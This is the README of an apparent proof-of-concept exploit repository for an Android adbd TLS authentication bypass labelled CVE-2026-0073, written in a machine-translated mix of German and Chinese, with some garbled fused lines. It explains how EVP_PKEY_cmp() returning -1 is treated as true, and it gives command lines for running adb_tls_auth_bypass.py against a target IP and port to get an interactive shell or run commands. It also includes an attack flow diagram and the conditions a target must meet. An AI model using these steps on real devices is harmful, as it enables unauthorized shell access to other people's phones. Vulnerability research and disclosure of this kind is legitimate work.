
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
EVP_PKEY_cmp() Typverwechslung → Nicht autorisierte ADB-ShellIn Android's ADB-Daemon (adbd) existiert eine kritische Schwachstelle zur Umgehung der Authentifizierung, die es jedem Angreifer im lokalen Netzwerk ermöglicht, vollständigen Shell-Zugriff auf dem Zielgerät zu erlangen, ohne dass eine Benutzerautorisierung erforderlich ist.
Die Schwachstelle befindet sich in der Funktion adbd_tls_verify_cert() in der Datei daemon/auth.cpp, in der EVP_PKEY_cmp() als boolescher Wert verwendet wird. Wenn der gespeicherte Schlüssel ein RSA-Schlüssel ist und das vorgelegte TLS-Clientzertifikat einen Nicht-RSA-Schlüssel (EC P-256 oder Ed25519) trägt, gibt EVP_PKEY_cmp() -1 (Typkonflikt) zurück, was in C/C++ als wahr ausgewertet wird, sodass authorized = true gesetzt wird.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Standardmäßig versucht das Skript automatisch EC P-256 → Ed25519 → EC/TLS 1.2, bis es erfolgreich ist.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│ │════════════════════════════════════│
│ │ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
⚠️ Wichtig: Der RSA-Schlüssel muss in der Datei /data/misc/adb/adb_keys liegen, die durch USB-Debugging-Kopplung (Akzeptieren des Dialogs „USB-Debugging erlauben?“) befüllt wird. Die Kopplung über drahtloses Debugging (adb pair) speichert die Schlüssel an einem anderen Ort (adb_known_hosts.pb) und erfüllt daher diese Anforderung nicht.
adb shell getprop ro.build.version.security_patch
Die Funktionsfähigkeit wurde auf folgendem Gerät getestet und bestätigt:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
Dieser Fork enthält die folgenden Verbesserungen:
select() für plattformübergreifende Unterstützung-v-Flag eine detaillierte Protokollverfolgung anCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Der unbefugte Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen unbedingt eine entsprechende Genehmigung ein. Die Autoren übernehmen keine Verantwortung für Missbrauch dieser Software.
EVP_PKEY_cmp-DokumentationWenn dies für Ihre Forschung hilfreich war, hinterlassen Sie bitte einen Stern ⭐
EVP_PKEY_cmp() 返回值 | 含义 | C 语言中的真值? | 结果 |
|---|
1 | Schlüssel stimmt überein | ✅ | Autorisiert (korrekt) |
0 | Schlüssel unterschiedlich | ❌ | Abgelehnt (korrekt) |
-1 | Typkonflikt | ✅ | Autorisiert (BUG) |
| Anforderung |
|---|
| Details |
|---|
| Entwickleroptionen | Auf dem Zielgerät aktiviert |
| Drahtloses Debugging | Aktiviert (oder ADB über TCP-Port 5555 verwenden) |
| Gespeicherter RSA-Schlüssel | Das Gerät muss mindestens einmal über USB gekoppelt worden sein (/data/misc/adb/adb_keys) |
| Netzzugriff | Der Angreifer muss Zugriff auf den adbd-TCP-Port haben |